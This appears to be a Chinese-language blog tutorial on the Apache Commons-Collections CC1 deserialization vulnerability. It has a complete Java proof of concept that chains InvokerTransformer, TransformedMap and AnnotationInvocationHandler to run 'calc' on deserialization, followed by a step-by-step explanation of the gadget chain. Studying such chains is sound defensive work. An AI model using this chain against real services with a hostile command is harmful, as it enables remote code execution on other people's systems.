Commons-Collections(CC1) 反序列化漏洞

Commons-Collections (CC1)反序列化漏洞



Commons-Collections介绍

Commons-Collections是一个开源的Java集合框架,它提供了一组可重用的集合接口、实现和工具类,以帮助开发人员更方便地操作和处理数据集合。

Commons-Collections提供了一些常见集合的实现,包括List、Set、Map等。这些实现类提供了丰富的功能和方法,能够满足不同的使用需求。另外,Commons-Collections还提供了一些特殊的集合类,如BidiMap(双向映射)、MultiMap(多值映射)等,可以更方便地处理一些复杂的数据结构。

除了集合实现,Commons-Collections还提供了一些工具类,用于操作和处理集合数据。这些工具类包括CollectionUtils、MapUtils、ListUtils等,提供了一些常用的集合操作方法,如查找、过滤、排序等,能够帮助开发人员更快速地完成集合操作。

Commons-Collections(cc1)反序列化漏洞PayLoad

package com.aqn.core;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
​
public class POC {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
       //Runtime r = Runtime.getRuntime();
  /*      Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime", null);
        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");*/
   /*     Method getRuntimeMethod = (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
​
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
​
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
​
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);
​
​
        //InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","bbb");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
/*        for(Map.Entry entry:transformedMap.entrySet()){
 //          entry.setValue(Runtime.class);
        }*/
        //AnnotationInvocationHandler
      /*  Reader*/
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationdhdlConstructor.setAccessible(true);
        Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
​
        serialize(o);
        unserialize("ser.bin");
​
    }
    public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

原理解析

invokeTransformer的任意方法反射调用

public Object transform(Object input) {
 if (input == null) {
     return null;
 }
 try {
     Class cls = input.getClass();
     Method method = cls.getMethod(iMethodName, iParamTypes);    
     return method.invoke(input, iArgs); 
...
以及
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
 super();
 iMethodName = methodName;
 iParamTypes = paramTypes;
 iArgs = args;
}

以上部分是输入的 iMethodName , iParamTypes, iArgs 都是我们可以控制的参数。通过控制InvokerTransformer.transform()函数可以调用任何方法。

InvokerTransformer Transformer=new InvokerTransformer.transform(方法名,参数类型,调用方法的参数值)

调用Transform方法的checkSetValue方法

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}
...
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer; 
    }
protected Object checkSetValue(Object value) { 
    return valueTransformer.transform(value);

}

通过decorate()方法实例化TransformedMap类,通过TransformedMap.decorate()方法使用上面的InvokerTransformer.transform()来调用任意方法。

AbstractInputCheckedMapDecorator的MapEntry.setValue()调用checkSetValue()方法

通过对AbstractInputCheckedMapDecorator类的遍历触发MapEntry.setValue()方法,使其调用checkSetValue()执行任意方法。

查找readObject()

AnnotationInvocationHandler类里面有readObject(),定位到memberValue可以控制,那么可以使用memberValue反射调用AbstractInputCheckedMapDecorator类。

  • 22
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值